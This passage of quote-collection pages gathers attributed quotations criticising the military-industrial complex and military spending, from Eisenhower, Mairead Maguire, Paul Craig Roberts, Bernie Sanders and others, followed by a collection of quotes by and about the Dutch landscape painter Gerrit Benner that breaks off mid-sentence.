and social institutions. The military-industrial complex was but part of a larger revolution bent on remaking American society, Western Europe, and ultimately the entire globe in its own image of power, subjugation, and profit. At the same time, its autonomy congealed within basic paradigms or structures rooted in imperatives of control, domination, efficiency, and profit within various hierarchical systems of rule. In this sense, as Noam Chomsky has described it, the military-industrial complex is "a misnomer . . . There is no military-industrial complex: it’s just the industrial system operating under one or another pretext." Steven Best, "Introduction: Pathologies of Power and the Rise of the Global Industrial Complex", in Steven Best; Richard Kahn; Anthony J. Nocella II; Peter McLaren (eds.). The Global Industrial Complex: Systems of Domination. 2011. p. xvi These systems, moreover, interrelate and reinforce one another. We can see this, for instance, in how the constellation in which the academic industrial complex does research for the medical industrial complex and Big Pharma, exploiting the nonhuman animal slaves of the animal industrial complex in university, military, and private vivisection laboratories and producing fraudulent research financed by and for pharmaceutical capital. The dubiously researched drugs are patented, typically fast-tracked into market sales by the obliging Food and Drug Administration, and then advertised through the media industrial complex. Up to 115 million animals die worldwide annually to perpetuate this fraud, and the human victims of research-for-profit succumb to the medical industrial complex for costly "disease management" (not "health care") treatment that treats only symptoms to focus on the ultimate objective of profit. The dissent of animal rights activists is criminalized by the security industrial complex, and many are sent off to languish, along with one out of every one hundred adults in the U.S. population incarcerated in the prison industrial complex. Steven Best, "Introduction: Pathologies of Power and the Rise of the Global Industrial Complex", in Steven Best; Richard Kahn; Anthony J. Nocella II; Peter McLaren (eds.). The Global Industrial Complex: Systems of Domination. 2011. pp. xvi-xvii While we bicker day-to-day about this politician or that one, the true power players like the military industrial complex are doing things like creating A.I. that will control our future world. By keeping us preoccupied with nonsense, they can build our prison in peace & quiet.... We desperately need a sociopath test for all politicians. We have the technology to find out if people lack empathy. If they do, they should be banned from running for office, serving on corporate boards, or having any kind of authority. Lee Camp, Twitter, (12 July 2020) The COVID-19 crisis has made clearer than ever the flaws in our system, one that prioritizes military spending and global instability over the well-being of our people... Indeed, global priorities are wrong; it is time for a new era of peace, a global ceasefire as called for by the U.N. and people around the globe. Let us demilitarize the world and invest in global peace and diplomacy. Quoted in US Drove Last Year’s Over $1.9 Trillion in Global Military Spending, by Jessica Corbett, Consortium News, (April 27, 2020) A new analysis on Monday showing that the world’s military spending surpassed $1.9 trillion last year, once again led by the United States under President Donald Trump, provoked demands that governments across the globe prioritize peace and the health of people as the coronavirus pandemic continues to ravage the planet. The latest annual report from the Stockholm International Peace Research Institute (SIPRI) found that the top military spenders after the U.S. were China, India, Russia, and Saudi Arabia. Total spending in 2019 was 3.6 percent higher than in the previous year and accounted for 2.2 percent of global gross domestic product (GDP). “Global military expenditure was 7.2 percent higher in 2019 than it was in 2010, showing a trend that military spending growth has accelerated in recent years,” SIPRI researcher Nan Tian said in a statement. “This is the highest level of spending since the 2008 global financial crisis and probably represents a peak in expenditure.” Although, as the SIPRI statement pointed out, “the increase in U.S. spending in 2019 alone was equivalent to the entirety of Germany’s military expenditure for that year,” the European country’s spending still rose by 10% last year to $49.3 billion, which was the largest increase among the top 15 ranked countries. US Drove Last Year’s Over $1.9 Trillion in Global Military Spending, by Jessica Corbett, Consortium News, (April 27, 2020) As military historian and retired career officer Andrew Bacevich notes, “endless wars persist (and in some cases have even intensified); the nation’s various alliances and its empire of overseas bases remain intact; US troops are still present in something like 140 countries; Pentagon and national security state spending continues to increase astronomically.” When the National Defense Authorization Act for the next fiscal year came before Congress this summer, Senator Bernie Sanders proposed a modest 10 percent reduction in military spending so $70 billion could be re-directed to domestic programs. Representative Barbara Lee introduced a House resolution calling for $350 billion worth of DOD cuts. Neither proposal has gained much traction, even among Democrats on Capitol Hill. Instead, the House Armed Services Committee just voted 56 to 0 to spend $740.5 billion on the Pentagon in the coming year, prefiguring the outcome of upcoming votes by the full House and Senate. Patriotic Dissent: How a Working-Class Soldier Turned Against “Forever Wars”, by Steve Early and Suzanne Gordon, CounterPunch, (24 July 2020) Daniel Sjursen, a 37-year old veteran of combat in Iraq and Afghanistan... has just written a new book called Patriotic Dissent: America in the Age of Endless War... a short volume... Sjursen skillfully debunks the conventional wisdom of the foreign policy establishment, and the military’s own current generation of “yes men for another war power hungry president.” His appeal to the conscience of fellow soldiers, veterans, and civilians is rooted in the unusual arc of an eighteen-year military career. His powerful voice, political insights, and painful personal reflections offer a timely reminder of how costly, wasteful, and disastrous our post 9/11 wars have been. Sjursen has the distinction of being a graduate of West Point, an institution that produces few political dissenters... Sjursen’s initial experience in combat—vividly described in his first book...“occurred at the statistical height of sectarian strife” in Iraq. “The horror, the futility, the farce of that war was the turning point in my life,” Sjursen writes in Patriotic Dissent. When he returned, at age 24, from his “brutal, ghastly deployment” as a platoon leader, he “knew that the war was built on lies, ill-advised, illegal, and immoral.” This “unexpected, undesired realization generated profound doubts about the course and nature of the entire American enterprise in the Greater Middle East—what was then unapologetically labeled the Global War on Terrorism (GWOT).” Patriotic Dissent: How a Working-Class Soldier Turned Against “Forever Wars”, by Steve Early and Suzanne Gordon, CounterPunch (24 July 2020) At a time when the U.S. “desperately needs a massive, public, empowered anti-war and anti-imperial wave” sweeping over the country, we have instead a “civil-military” gap that, Sjursen believes, has “stifled antiwar and anti-imperial dissent and seemingly will continue to do so.” That’s why his own mission is to find more “socially conscious veterans of these endless, fruitless wars” who are willing to “step up and form a vanguard of sorts for revitalized patriotic dissent.” Readers of Sjursen’s book, whether new recruits to that vanguard or longtime peace activists, will find Patriotic Dissent to be an invaluable educational tool. Patriotic Dissent: How a Working-Class Soldier Turned Against “Forever Wars”, by Steve Early and Suzanne Gordon, CounterPunch, (24 July 2020) In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist. We must never let the weight of this combination endanger our liberties or democratic processes. We should take nothing for granted. Only an alert and knowledgeable citzenry can compel the proper meshing of the huge industrial and military machinery of defense with our peaceful methods and goals, so that security and liberty may prosper together. Dwight D. Eisenhower, farewell radio and television address to the American people, Washington, D.C., January 17, 1961. Public Papers of the Presidents of the United States: Dwight D. Eisenhower, 1960–61, p. 1038. The United States is on pace to spend over $7 trillion over the next ten years for the Pentagon. To put that number in perspective, the U.S. spends more each year on the military than China, Russia, India, the U.K., Germany, France, Japan, South Korea and Australia combined. While Republicans and Democrats are in sharp disagreements over the much smaller Build Back Better legislation, there is largely a bipartisan consensus when it comes to the military budget and foreign military intervention... Amy Goodman, “The War Party”: Jeremy Scahill on How U.S. Militarism Unifies Democrats & Republicans, Democracy Now! (24 November 2021) In a century when a staggeringly funded military couldn't win a war anywhere (and yet never stopped trying), failure continues to prove to be the military-industrial complex's ultimate success. William D. Hartung, Tomgram: Mandy Smithberger, A Recipe for Disaster (January 21, 2020), TomDispatch There will be no economic or political justice for the poor, people of color, women or workers within the framework of global, corporate capitalism. Corporate capitalism, which uses identity politics, multiculturalism and racial justice to masquerade as politics, will never halt the rising social inequality, unchecked militarism, evisceration of civil liberties and omnipotence of the organs of security and surveillance. Corporate capitalism cannot be reformed, despite its continually rebranding itself. The longer the self-identified left and liberal class seek to work within a system that the political philosopher Sheldon Wolin calls “inverted totalitarianism,” the more the noose will be tightened around our necks. If we do not rise up to bring government and financial systems under public control—which includes nationalizing banks, the fossil fuel industry and the arms industry — we will continue to be victims. Chris Hedges, "The Bankruptcy of the American Left", Truthdig (February 5, 2018). We are all saddened by the barbarism of humanity. The most negative manifestation of free will is seen in outbursts of war. People refuse to think about the terrible currents they evoke by mass murder and the consequences it will bring. The ancient Scriptures correctly warned that he who lives by the sword will perish by the sword. There is a difference between the karma of aggression and that of defense. It can be shown how aggressors suffer the most grievous consequences'... People delude themselves by thinking that great conquerors do not reap bad karma during their earthly lives... Aggressors burden their karma not only by killing but also by polluting the atmosphere... The poisoning of Earth and of the other spheres is long-lasting. You who intrude into the lands of your neighbors, has no one told you the consequences of your 'fratricide?' Our Abode has witnessed many wars, and We can testify how this evil is increasing in the most unexpected ways... How sad We are to see free will, which was bestowed as the Highest Gift, manifested in this horrible, uncontrolled way. 88. The Master Koot Hoomi, in Supermundane, Agni Yoga (1938) Some of the wars America fought were "simply for profit" and the sanctions it has imposed on certain countries have been as destructive as wars... The American people have virtually no say over when we go to war. These decisions are made in back rooms somewhere...The American people continue to be lied to about why we go to war, because again, one of the big reasons is simply for profit, and that's always been true to some extent, but now it is in a very naked way. Daniel Kovalik quoted in Interview: Some American wars fought "simply for profit," sanctions also destructive, human rights lawyer says, Xinhua, December 8, 2021 [On the U.S. invasions of Iraq and Afghanistan] From a strategic point of view, it has to be seen as a complete failure, and yet it went on for 20 years, why did it go on for 20 years? Because the defense industry companies that make the bombs, that make the planes, that make the vehicles, and also the private military contractors that now are fighting the wars in lieu of public military personnel, they made trillions of dollars as long as the war continued. So they didn't care if the war was ever won, the goal was for the war to simply continue forever... the point is not to win the war, but to make sure it never ends because you're going to keep making profits. The U.S. is not advancing human rights through its military interventions. It's not advancing humanitarianism. In fact, it's undermining it in a huge way. Daniel Kovalik quoted in Interview: Some American wars fought "simply for profit," sanctions also destructive, human rights lawyer says, Xinhua, December 8, 2021 As the International Red Cross marked the 75th anniversary of the atomic bombings in Japan, it issued a strong warning that “the risk of use of nuclear weapons has risen to levels not seen since the end of the Cold War.” Echoed by former Secretary Perry on the News Hour, other defense policy experts have stated forewarnings, on both the moral grounds of potential omnicidal consequences, and of new weapons technology making nuclear war more likely. Daniel Ellsberg, for example, sees governments “prepared to unleash a nuclear war which would end civilization as we know it and could kill over seven billion people.” In our region... many thousands are in need of food assistance, and millions across the country are suffering great personal economic losses under the dual crises of the pandemic and, again, of climate-change related wildfires and storms. As the Congress budgets nearly 3⁄4 trillion dollars for national defense, it should redirect at least a portion of this enormous sum to the current human needs and support the 2017 United Nations nuclear-weapons-ban treaty, which the work of the International Red Cross... initiated. Letters: Recognition for Cadet Nurses; Ban nuclear weapons, Frances Lamberts, Johnson City Press (20 September 2020) Unable to win wars overseas, the military’s leaders went “woke.” Currying ideological favor is easier than trying to end insurgencies. It is also necessary if military leaders want to keep the gravy train of taxpayer funding. Donald Trump’s America First foreign policy and his devastating critique of George Bush and Barack Obama in the run-up to the 2016 election put the military-industrial complex on high alert. Trump was pushing the American right-wing away from the expensive and unending foreign interventions the military-industrial complex needed in order to justify its existence. Josiah Lippincott, America’s Generals Lied, Lost Wars, And Looted The People They Claimed To Serve, The Federalist, (6 August 2021) It is shocking to listen to politicians and military boast of their military prowess when in lay persons’ terms what it means is killing of human beings... The European Union and many of its countries, which used to take initiatives in the United Nations for peaceful settlements of conflict, are now one of the most important war assets of the U.S./NATO front. The Disturbing Expansion of the Military-Industrial Complex, Common Dreams, (14 October 2014) Many countries have also been drawn into complicity in breaking international law through U.S./U.K./NATO wars in Afghanistan, Iraq, Libya, and so on. It is for this reason that I believe NATO should be abolished and that steps be taken towards disarmament through non-violent action and civil resistance. The means of resistance are very important. Our message that armed groups, militarism and war do not solve our problems but aggravate them challenges us to use new ways and that is why we need to teach the science of peace at every level of society. The Disturbing Expansion of the Military-Industrial Complex, Common Dreams, (14 October 2014) The whole of civilisation is now facing a challenge with the growth of what President Dwight Eisenhower (1953-1961) warned the U.S. people against – the military/industrial complex – saying that it would destroy U.S. democracy. We know now that a small group made up of the military/industrial/media/corporate/academic elite, whose agenda is profit, arms, war and valuable resources, now holds power worldwide and has a stronghold on elected governments. We see this in the gun and Israeli lobbies, among others, which wield great power over U.S. politics. We have witnessed this in ongoing wars, invasions, occupations and proxy wars, all allegedly in the name of “humanitarian intervention and democracy”. However, in reality, they are causing great suffering, especially to the poor, through their policies of arms, war, domination and control of other countries and their resources. Unmaking this agenda of war and demanding the implementation of justice, human rights and international law is the work of the peace movement. We can turn our current path of destruction around by spelling out a clear vision of what kind of a world we want to live in, demanding an end to the military-industrial complex, and insisting that our governments adopt policies of peace, just economics and cooperation with each other in this multi-polar world. Mairead Maguire, The Disturbing Expansion of the Military-Industrial Complex, Common Dreams, (14 October 2014) Pope Francis’ two-day visit to Ireland on August 25-26th comes at a time when people need hope. The Irish Church has been devastated by the abuse scandals, which have never been properly dealt with...Only in the last few years has the Catholic hierarchy recognized that clerical abuse has taken place. In 1978, Betty Williams and I had the privilege of a 30-minute private conversation with Pope John Paull II in the Vatican. Coming out of a violent conflict in Northern Ireland, we appealed to the Pope to reject the “Just War” theory and to bring forward a theology of nonviolence and peace for the Catholic Church. When Pope John Paul visited Ireland the following year he appealed to people to reject violence and build peace. However, we still wait for the Vatican to publish an encyclical on Christian nonviolence which would reject “Just War” theology. Pope Francis has called for the total abolition of nuclear weapons and for just peacemaking. His visit to Knock, while rightly focusing on the church’s abuse scandals, was a missed opportunity. He should have also called for the abolition of war and militarism, and for the return to Gospel nonviolence... In my opinion, an encyclical on nonviolence and disarmament from Pope Francis would give hope to us all and encourage us all to take up our responsibility to build a new culture of peace and nonviolence, not only in the Church and in Ireland, but throughout the whole world. Mairead Maguire, Why the Catholic Church Should Abolish the Anti-Christian "Just War" Theory, Following Pope Francis' visit to Ireland, a reflection on abuse, violence, war, and peacemaking, Common Dreams (6 September 2018) As we watch the media today, we are spoon fed more and more propaganda and fear of the unknown, that we should be afraid of the unknown and have full faith that our government is keeping us safe from the unknown. But by looking at media today, those of us who are old enough will be reminded of the era of Cold War news articles, hysteria of how the Russians would invade and how we should duck and cover under tables in our kitchens for the ensuing nuclear war. Under this mass hysteria all Western governments were convinced that we should join Western allies to fight the unknown evil that lies to the east. Mairead Maguire, Demonization of Russia in a New Cold War Era, Inventing a foe to sell military ambitions is still the most dangerous of games, Common Dreams (14 September 2018) Through my travels in Russia during the height of the Cold War with a peace delegation, we were shocked by the poverty of the country, and questioned how we ever were led to believe that Russia was a force to be afraid of. We talked to the Russian students who were dismayed by their absolute poverty and showed anger against NATO for leading their country into an arms race that they could not win. Many years later, when speaking to young Americans in the US, I was in disbelief about the fear the students had of Russia and their talk of invasion. This is a good example of how the unknown can cause a deep rooted paranoia when manipulated by the right powers. Mairead Maguire, Demonization of Russia in a New Cold War Era, Inventing a foe to sell military ambitions is still the most dangerous of games, Common Dreams (14 September 2018) For those who don’t like the American Raj, a US invasion of Venezuela would mark a step forward in the crumbling of the empire. More aimless imperial over-reach, more lack of strategy, more enemies generated. The big winner would, of course, be the Pentagon and military industrial complex. More billions spent on a nation most Americans could not find on a map if their lives depended on it, more orders for ‘counter-insurgency’ weapons, more military promotions, and cheers from Fox News and wrestling fans. Eric Margolis in Sure. Let's Invade Venezuela. Another Jolly Little War, CommonDreams (04 May 2019) The fake "independent institute" promoting the China "threat" in the West is the Australian Strategic Policy Institute, the go-to source for Vichy journalists currently hoodwinking the public. It's exposed here as a front for warmongers and arms companies. John Pilger, Twitter (1 July 2020) The natural evolution of American politics has resulted in the gross engulfment of the American polity by the military industrial complex. Antonio L. Rappa, Globalization. Flipside Digital Content Company Inc.. 2003. p. 207. ISBN 978-981-4515-46-7. It is extraordinary to see the confidence that many Americans place in their military’s ability. After 15 years the US has been unable to defeat a few lightly armed Taliban, and after 13 years the situation in Iraq remains out of control. This is not very reassuring for the prospect of taking on Russia, much less the strategic alliance between Russia and China. The US could not even defeat China, a Third World country at the time, in Korea 60 years ago. Americans need to pay attention to the fact that “their” government is... likely to bring vaporization to the United States and all of Europe. Russian weapons systems are far superior to American ones. American weapons are produced by private companies for the purpose of making vast profits. The capability of the weapons is not the main concern. There are endless cost overruns that raise the price of US weapons into outer space. Paul Craig Roberts, Our Prospects Against the Russians & Chinese in WW3, Information Clearing House (28 May 2016) It is entirely possible that the world is being led to destruction by nothing more than the greed of the US military-security complex... the Obama regime has resurrected the Cold War, thus providing a more convincing “enemy” than the hoax terrorist one, the “Russian threat” has been restored to its 20th century role of providing a justification for bleeding the American taxpayer, social services, and the US economy dry in behalf of profits for armament manufacturers.... Washington’s rhetoric accompanying the revived Cold War is far more reckless and dangerous, as are Washington’s actions, than during the real Cold War. Paul Craig Roberts, Our Prospects Against the Russians & Chinese in WW3, Information Clearing House (28 May 2016) All of America’s wars except the first—the war for independence — were wars for Empire. Keep that fact in mind as you hear the Memorial Day bloviations about the brave men and women who served our country in its times of peril. The United States has never been in peril, but Washington has delivered peril to numerous other countries in its pursuit of hegemony over others. Paul Craig Roberts, Our Prospects Against the Russians & Chinese in WW3, Information Clearing House (28 May 2016) Today for the first time in its history the US faces peril as a result of Washington’s attempts to assert hegemony over Russia and China. Russia and China are not impressed by Washington’s arrogance, hubris, and stupidity. Moreover, these two countries are not the native American Plains Indians, who were starved into submission by the Union Army’s slaughter of the buffalo. An insouciant American population preoccupied with selfies and delusions of military prowess, while its crazed government picks a fight with Russia and China, has no future. Paul Craig Roberts, Our Prospects Against the Russians & Chinese in WW3, Information Clearing House (28 May 2016) All day today the presstitute at NPR went on and on about President Trump, using every kind of guest and issue to set him up for more criticism as an unfit occupant of the Oval Office, because, and only because, he threatens the massive budget of the military/security complex by attempting to normalize relations with Russia [...] As a former Wall Street Journal editor I can say with complete confidence that NPR crossed every line between journalism and advocacy and no longer qualifies as a 501c3 tax-exempt public foundation. The NPR assault on President Trump was part of an orchestration. The same story appeared in the Washington Post, long-believed to be a CIA asset. Most likely, it has appeared throughtout the presstitute media. Paul Craig Roberts in Russiagate Is Constructed of Pure Bulls**t, No Facts, Global Research, (22 July 2018) The military/security complex has resurrected its Cold War enemy so necessary for its outsized budget and power and intends to keep Russia as The Enemy. The Democrats have an interest in the villification of Russia as “Russiagate” explains Hillary’s loss of the 2016 Presidential election and gives Democrats hope of removing President Trump from office. The media lacks independence, knowledge, and integrity and is the tool used by the military/security complex to control explanations... As strategic and Russian studies are largely funded by the military/security complex, the universities are also complicit in the march toward nuclear war. Republicans are as dependent as Democrats on funding from the military/security complex and the Israel Lobby. Paul Craig Roberts,The Self-Genocide of the West, Foreign Policy Journal (26 December 2018) The military/security complex has resurrected its Cold War enemy so necessary for its outsized budget and power and intends to keep Russia as The Enemy. The Democrats have an interest in the villification of Russia as “Russiagate” explains Hillary’s loss of the 2016 Presidential election and gives Democrats hope of removing President Trump from office. The media lacks independence, knowledge, and integrity and is the tool used by the military/security complex to control explanations... As strategic and Russian studies are largely funded by the military/security complex, the universities are also complicit in the march toward nuclear war. Republicans are as dependent as Democrats on funding from the military/security complex and the Israel Lobby. Paul Craig Roberts,The Self-Genocide of the West, Foreign Policy Journal (26 December 2018) The formula that food is the way to derive peace actually should be more properly understood in reverse. The answer to my question of why we have so many hungry people on the planet when there is no need for that is that it is a deliberate decision that some human beings make in order to appropriate the resources of others, or, as in the case of one of the hot spots on the planet right now for hunger, which is Yemen, it was a deliberate strategy to disrupt the food system specifically to weaken the country in the pursuit of the war between proxies, Saudi Arabia and Iran. And so, it’s important to remember that hunger does not always happen because of natural disasters, which is a mental model that most of us fall back upon; it is often the result of things that we actually do to each other deliberately. (10 December 2020) Day after day, here on the floor of the Senate and back in their states, many of my colleagues talk to the American people about how deeply concerned they are about the deficit and the national debt. They tell us that we just don't have enough money to expand Medicare... We just don't have enough money to do what every other major country on Earth does, and that is guarantee paid family and medical leave.... Yet today, the U.S. Senate will begin consideration of an annual defense budget that costs $778 billion—$778 billion for one year... And by the way, all of this money is going to an agency, the Department of Defense, that continues to have massive cost overruns, year after year, wasting enormous amounts of money... Concerns about the deficit seem to melt away under the influence of the military-industrial complex. Bernie Sanders in Sanders Says Deficit Concerns 'Seem to Melt Away' When It's Time to Fill Pentagon Coffers, Jake Johnson, Common Dreams, (18 November 2021) What I think is happening as a result of NATO expansion, of Biden being a tremendously hawkish figure on Ukraine and basically daring Vladimir Putin to stand up to NATO expansion, is that you run the risk of what is ultimately the elite business class of the world having their battles spilling over into overt military conflict. I think China in particular is very concerned about the aggressive U.S. stance because I think China would be very happy to find a way to just sort of divvy up the world for domination in various regions. The United States is not going to accept that. The U.S. posture is pushing China and Russia into an even closer alliance akin to the relationship during the Cold War. (24 November 2021) When it comes to national security policy, the U.S. has been on a steady, hypermilitarized arc for decades. Taken broadly, U.S. policy has been largely consistent on “national security” and “counterterrorism” matters from 9/11 to the present.... Jeremy Scahill, The War Party, From Bush to Obama, and Trump to Biden, U.S. Militarism Is the Great Unifier, The Intercept (November 21 2021) As one of our interviewers... says... once you kill a sitting president in high noon in Dealey Plaza and blow his head off, you're not going to go back to normal... After Kennedy was killed, and nobody asked... what was Kennedy's real policy on Vietnam? Well... he was going to pull out of Vietnam. He was very clear about it, and that's what people get confused. Johnson, Lyndon Johnson, who took over the office went right to war quickly... this is... where we went to a war on a false basis. It was a lie, another lie, and that war was a disaster... Unfortunately, the same forces that made that war happen continued in our life, and they controlled us and pushed us into another war and another war and another war... And soon it was in Iraq, and then it was, as you know, in Iraq a second time and then Afghanistan, et cetera, and on and on and on. We're still stuck in this. We're stuck in a military industrial syndrome where a lot of money, trillions of dollars, are spent fighting wars abroad against forces that we call "darkness" and "evil," but we don't really know who the enemy is. I think we propagandize an enemy, make him far bigger than he is, and I don't know what we're fighting. We're just fighting because the military needs to keep going and needs to be funded, as though the intelligence agencies which have enormous amount of budget. Oliver Stone, Transcript: A Conversation with Oliver Stone, (streamed live on youtube) The Washington Post (12 May 2021) Veterans for Peace knows that the U.S. is a nation addicted to war. At this time of uncertainty, it is critically important that we, as veterans, continue to be clear and concise that our nation must turn from war to diplomacy and peace. It is high time to unwind all these tragic, failed and unnecessary wars of aggression, domination and plunder. It is time to turn a page in history and to build a new world based on human rights, equality and mutual respect for all. We must build momentum toward real and lasting peace. Nothing less than the survival of human civilization is at stake. Veterans for Peace, Excerpt of Veterans For Peace Statement on Withdrawal of U.S. Troops from Syria, 19 December 2018 arms industry War profiteering World peace Wikipedia has an article about: Military-industrial complex
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Gerrit Benner (Leeuwarden, 31 July 1897 - Nijemirdum, 15 Nov. 1981) was a Dutch painter, famous for his landscape-paintings. His expressive style moved between figurative and abstract, during his life. sorted chronologically, by date of the quotes of Gerrit Benner When you paint outdoors, you work from your feet up to above your head. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Als je buiten werkt, dan werk je vanaf je voeten tot boven je hoofd. Quote of Gerrit Benner, c. 1950-1955, in a talk with nl:Willem den Ouden; as cited in the thesis by Leo Delfgauw, University of Groningen, 2017, p 221 Yes ssjjure, it is Fffriesland, seen from an airplane. Jawel, het is Ffffriesland, gezien uit een vliegmasjien. Quote of Gerrit Benner (early 1950's); as cited in 'Gerrit Benner geboeid door Friese wolkenluchten', Sytse Singelsma, 4 March 2015 Benner's stammering response, when young inhabitants of Leeuwarden criticized him on painting their Friesland as just one simple green surface The further I get, the more I stand at the beginning. I'am Benner, but I do not say, I got it. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Hoe verder ik kom, hoe meer ik aan het begin sta. Ik bin Benner, mar ik zeg niet ik ben-er. Quote of Benner (1961), in interview 'Benner: ik leef hier bijna net zo geïsoleerd als in Leeuwarden', Dutch newspaper 'Leeuwarder Courant', 20 Dec. 1961 I am not a man of production, I am not a manufacturer. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Ik ben niet een man van productie, ik ben geen fabrikant. Quote (1961), in 'Benner: ik leef hier bijna net zo geïsoleerd als in Leeuwarden', Dutch newspaper 'Leeuwarder Courant', 20 Dec. 1961; as cited by Susan van den Berg in 'Benner en Bregman', website 'de Moanne', 1 Sept. 2008, note xxii I paint from my head [about his move from rural Friesland to the city of Amsterdam]. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Schilderen doe ik uit mijn hoofd [over zijn verhuizing van landelijk Friesland naar de stad Amsterdam]. quoted by Hans Redeker (before 1967), in Gerrit Benner; Meulenhoff, Amsterdam, 1967; as cited by Susan van den Berg in 'Benner en Bregman', website 'de Moanne', 1 Sept. 2008, note xix It's all about the atmosphere of nature, for sure, but I want the painting to arouse clarity, cheerfulness. When it is finished, then I have to live with it, that's why it must become a pleasant thing. Sun. Clarity. Never white-black, because there are so many shades in between! (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Het gaat om de sfeer van de natuur, zeker, maar ik wil dat het schilderij klaarte, vrolijkheid opwekt. Als zo'n ding af is, dan moet ik ermee leven, daarom moet het prettig zijn. Zon. Klaarte. Nooit wit-zwart, want daar zijn zoveel tinten tussen! quoted by Hans Redeker (before 1967), in Gerrit Benner; Meulenhoff, Amsterdam, 1967; as cited by Susan van den Berg in 'Benner en Bregman', website 'de Moanne', 1 Sept. 2008, note xx I love Friesland, but I don't feel myself a Frisian. I am a human being, be called Gerrit Benner, who paints.. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Ik hou van Friesland, maar ik voel me geen Fries. Ik ben een mens, die Gerrit Benner heet, die schildert.. Gerrit Benner (1971), in an interview with K. Peerebooms: 'Jarenlang schilderen zonder een klankbord'; Dutch newspaper 'Het Parool', 3 Nov. 1971 And I painted on and on, coarsely - not skillful at all and rather clumsy.. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) En ik schilderde maar door, in mijn onbehouwenheid – niet knap en helemaal niet handig.. Quote of Benner (1971) on his early painter-years in an interview; as cited by Janneke Wesseling in 'Water, Lucht en Vlak Land', in Dutch newspaper 'N.R.C. ', 16 Oct. 2014 In the city you can lose yourself; that's a good thing. It doesn't work in a small city. In Leeuwarden [in Friesland, where Benner lived until c. 1954] you always met yourself again and again. But in Amsterdam there is too much to do, that isn't possible here. It's a beautiful city where I revive. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) In de stad kun je jezelf verliezen, en dat is goed. In een kleine stad gaat dat niet. In Leeuwarden [waar Benner woonde tot c. 1954] kwam je jezelf toch altijd weer tegen, maar in Amsterdam is er zoveel, daar is dat niet mogelijk. Een prachtige stad, daar leef ik op. Quote of Benner (1977), in the article 'Buitenbeetje Benner verliet ons'; Dutch newspaper 'Leeuwarder Courant', 26 August 1977 Don't bother about the result. Throw away your thinking of art, and then become yourself: just walk quietly in yourself, in your own ground. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Je moet niet aan het resultaat denken. Je moet de gedachte aan kunst van je afzetten, en dan jezelf zijn: rustig doorwandelen in jezelf, in je eigen gebied. Quote of Benner, as cited in a short text, announcing the exposition of Gerrit Benner in Stedelijk Museum, The Hague, 2010 A painting is good if it is not finished. Just like ideas. Finished ideas are dead.. .Everything is floating, just as in life – also life will never get ready. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Een schilderij is goed als het niet af is. Net als bij ideeën. Ideeën die af zijn, zijn dood.. .Alles vloeit, net als in het leven – dat komt ook nooit klaar. Quote of Gerrit Benner, in: Gerrit Benner, G. Westenberg en E. van Dooren , Harlingen 2005, p. 4; as cited in Lucht in de Nederlandse kunst sinds 1850, Antoon Erftemeijer; catalogue of Frans Halsmuseum Haarlem, 2014, p 45 I love nature, what is not beautiful in nature, there are no ugly things. Sometimes the world oppresses me and then I always go back to nature, the source of all things. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Ik hou van de natuur, wat is niet mooi in de natuur, er zijn geen lelijke dingen. Soms benauwt de wereld me en dan kom ik altijd terug bij de natuur, de bron van alle dingen. as cited on website De Canon: ‘Gerrit Benner’ sorted chronologically, by date of the quotes about Gerrit Benner That guy is painting blue and yellow horses. He is really a lunatic! (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Gerrit Benner, in het Nederlands:) Die man schildert blauwe en gele paarden. Die is hartstikke gek! Quote of an inhabitant from Leeuwarden (early 1950's); as cited by Wim van der Veer (an artist, born in Leeuwarden); in 'Gerrit Benner geboeid door Friese wolkenluchten', Sytse Singelsma, 4 March 2015 Van de Veer remembered how a mother warned his schoolfriend in Leeuwarden not to come too close to the house of Gerrit Benner, the painter I was kindly received by him [Gerrit Benner] and then he talked, with his crooked nose - because he had fallen off the chest as a child and his nose was crooked. And then he was sniffing all the time. Like: 'Yes, yes, the grass, the grass'. Then he said at some point: 'When you paint outdoors, you work from your feet up to above your head'. Well, just as simple as that, but you have to discover it yourself. You should try it. And that's it, that' it, for sure. That is one of the best lessons I ever got, that one remark by Gerrit Benner. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat over Gerrit Benner, in het Nederlands:) Ik werd vriendelijk ontvangen en dan praatte hij, met zijn scheve neus want als kind was 'ie van de commode gevallen en zijn neus was scheef. En dan snoof 'ie de hele tijd. Zo van: 'Ja, ja, dat gras, dat gras'. Toen zei hij op een gegeven ogenblik: 'Als je buiten werkt [schildert], dan werk je vanaf je voeten tot boven je hoofd'. Nou ja, zo simpel als wat, maar je moet er maar achter komen. Je moet het maar proberen. En dat is het, dat is het absoluut. Dat is een van de beste lessen die ik gehad heb. Eén zo'n opmerking van Gerrit Benner. Quote of nl:Willem den Ouden c. 1950-1955; as cited in the thesis by Leo Delfgauw, University of Groningen, 2017, p 221 ..in Friesland [up to c. 1954] Benner rarely had the opportunity to see anything of modern painting. The sense of identification of man with nature is the basis of his feeling for life and art. When he speaks about his surrounding world, the painter uses words as 'a miraculous world'. He paints in a colouring of moved simplicity; his colors, especially the primary ones, have a strong purity. His simplification of nature however is not an abstraction, the forms of animals and the landscape have never been abandoned completely.. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat over Gerrit Benner, in het Nederlands:) ..in Friesland [tot c. 1954] had Benner slechts zelden de gelegenheid iets van moderne schilderkunst te zien. Het 